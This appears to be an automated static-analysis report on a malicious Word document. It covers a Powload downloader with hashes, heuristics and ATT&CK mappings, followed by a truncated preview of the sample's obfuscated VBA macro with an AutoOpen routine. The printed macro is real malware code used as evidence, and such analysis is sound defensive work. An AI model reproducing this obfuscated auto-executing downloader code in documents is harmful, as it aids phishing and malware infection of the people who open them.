Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a115c7c921192d77…

MALICIOUS

Office (OLE)

198.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 2712278123ad2a7c8f5e57f6bb0dcb89 SHA-1: 52d0bc0327d63a470de06fe5a2e4c2bb92287ad8 SHA-256: a115c7c921192d77172eb98ecafec29843edfb7fc62fa7ade300432a110c6905
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. Heuristics indicate the macro uses GetObject, a common technique for executing downloaded payloads. The ClamAV signature 'Doc.Downloader.Powload-6765525-0' further confirms its malicious nature as a downloader. The VBA code, while heavily obfuscated, is structured to likely download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6765525-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6765525-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 49294 bytes
SHA-256: bd8785ac06193ae25e84d7b79f7979d5341f61c702f9930138f1fac5416077d6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub ajULUDIwUcYHUro()
DasoHIeGydiYqUN = Val("36104.6") & "BIbIDESEfIbE"
najgmEQokEQyNINyXUb = Val("62671.1") & "POKaiuPotSiPofIWA"

Dim mIqoMoPogaGutUKE
MYramoHUQACAiOq = 65690
mIqoMoPogaGutUKE = Log(5)

mIqoMoPogaGutUKE = mIqoMoPogaGutUKE + Log(11)
Dim hOceioJeVOnYlokEbiCu
hOceioJeVOnYlokEbiCu = Rnd(103)
If hOceioJeVOnYlokEbiCu > 80995 Then
   hOceioJeVOnYlokEbiCu = Exp(3)
End If
Dim JypaSedAbiFUUiIZadidOd
JypaSedAbiFUUiIZadidOd = Rnd(119)
If JypaSedAbiFUUiIZadidOd > 76524 Then
   JypaSedAbiFUUiIZadidOd = Exp(9)
End If
Dim jydyVuNipez
Dim PUTyNuWYvubunaVTAbejIG
For PUTyNuWYvubunaVTAbejIG = 10 To 10
   Dim zAauMobALUQiXEz
   zAauMobALUQiXEz = Fix(98943)
Next
hOjYZEKailYd = 48981
jydyVuNipez = Rnd(139)
Dim hYhYFoQaFYtISACI
hYhYFoQaFYtISACI = Rnd(128)
If hYhYFoQaFYtISACI > 46401 Then
   hYhYFoQaFYtISACI = Exp(8)
End If
If jydyVuNipez > 43610 Then
vUxAViNitujy = InStr("zutITOfICID", "zutITOfICIDzutITOfICID")
Dim QOvAbozqAdesQeZ
For QOvAbozqAdesQeZ = 1 To 13
   Dim zatUGagycUdO
   zatUGagycUdO = Fix(76904)
Next
   jydyVuNipez = Exp(9)
jIkykAdawUFOqub = InStr("zocIqoRirErzZIFaNeDE", "zocIqoRirErzZIFaNeDEzocIqoRirErzZIFaNeDE")
SNkiaoWOZUWA = Val("3067.8") & "kbafIQYhIQIqYmAw"
End If
Dim QypyXYlIZXoheCeXItONeC
QypyXYlIZXoheCeXItONeC = Rnd(128)
If QypyXYlIZXoheCeXItONeC > 56732 Then
   QypyXYlIZXoheCeXItONeC = Exp(8)
End If

Dim CyFIRUtOmycy
For CyFIRUtOmycy = 8 To 10
   Dim PaqoaeiapAKYlITebAXYnut
   PaqoaeiapAKYlITebAXYnut = Fix(39601)
Next
wENUfUiZIfutWE = 60234
End Sub
Sub AutoOpen()
hyiUmurAxIOzisVUbA = 26199
DihIcUEiaJeOFInYzOWizI = InStr("meFujIWUFYCiBiqUVaF", "meFujIWUFYCiBiqUVaFmeFujIWUFYCiBiqUVaF")
On Error Resume Next
Debug.Print "bEpEdYzONumIJoB"
Dim RYXURYTilAtESak
Dim xamylAWuBOoQE
For xamylAWuBOoQE = 9 To 11
   Dim QipOqyWoJiBEDujICI
   QipOqyWoJiBEDujICI = Fix(70678)
Next
Debug.Print "HMYvAbUVuF"
RYXURYTilAtESak = Rnd(136)
If RYXURYTilAtESak > 35472 Then
Dim wyGosyUrOzolyVeXuGe
wyGosyUrOzolyVeXuGe = Rnd(121)
If wyGosyUrOzolyVeXuGe > 7530 Then
   wyGosyUrOzolyVeXuGe = Exp(1)
End If
   RYXURYTilAtESak = Exp(6)
End If

KiNeRoZocYMAFO = 81883
hOVExusKiTOLogU = InStr("KIiCUjINiqETE", "KIiCUjINiqETEKIiCUjINiqETE")
mYzigoQLinIxuPiKEsAaem = Val("11375.1") & "fUVYLRujeiApAqoGABYQF"
POWUfikoxySgeVA = InStr("tEmZUmoCuUVukA", "tEmZUmoCuUVukAtEmZUmoCuUVukA")
xUlarYBVOQaZU = 19014
Dim gQAGIHiuBeaYwIr
For gQAGIHiuBeaYwIr = 9 To 11
   Dim jUZEJIQAPOviKABySaPE
   jUZEJIQAPOviKABySaPE = Fix(66339)
Next

Debug.Print "JeXEvyMAwUCIzUZAql"
dUjahETUNuHuvynIa = InStr("ZBogugOayBUWaV", "ZBogugOayBUWaVZBogugOayBUWaV")
Dim diQuBYlymYnYuMEKEnA
diQuBYlymYnYuMEKEnA = Rnd(122)
If diQuBYlymYnYuMEKEnA > 15608 Then
   diQuBYlymYnYuMEKEnA = Exp(2)
End If
TaqoHaHIiqiaaGa = InStr("doDamyaTiPUHyTyFyxoqYN", "doDamyaTiPUHyTyFyxoqYNdoDamyaTiPUHyTyFyxoqYN")
VuQezExEVoc = 11545
zaWuDynYZOniKUKYwU = Val("17912.6") & "RoMUBYDYQuqAi"
MIcOmafaqySOtAZyqOqipi = ""
LEpyCIMOhawYGwa = 59388
Debug.Print "bYgOsUGuwyjAdyNUvIjYTeVO"

MOsiSeQYaYZuWYc = InStr("KusAgOZujEvyzyCY", "KusAgOZujEvyzyCYKusAgOZujEvyzyCY")

Debug.Print "rajOLEGyqILYt"
wIpidUsOtaaAy = Val("51065.6") & "QedExeSgICyrOAlykokiSi"
Dim ruLyycOmEcEBYHevYBabA
ruLyycOmEcEBYHevYBabA = Rnd(134)
If ruLyycOmEcEBYHevYBabA > 71272 Then
   ruLyycOmEcEBYHevYBabA = Exp(4)
nydOdOiykupj = 48226
WYSAPOQyLofavUMETusOlE = InStr("TUzAMemOsUqoXASAdA", "TUzAMemOsUqoXASAdATUzAMemOsUqoXASAdA")
End If
 MIcOmafaqySOtAZyqOqipi = MIcOmafaqySOtAZyqOqipi + IIf((209 + 418) = 627, "sc", "hG")
Dim GitoiYKeSliPiKAmOcOkiJ
For GitoiYKeSliPiKAmOcOkiJ = 6 To 12
   Dim viDyGyFuPYsiWehOmYvA
   viDyGyFuPYsiWehOmYvA = Fix(33056)
Next
Dim WizUniQiPyhYqeziTiqOBED
For WizUniQiPyhYqeziTiqOBED = 1 To 12
   Dim iuKIdaxyweiIFEpIBoaEKE
   iu
... (truncated)

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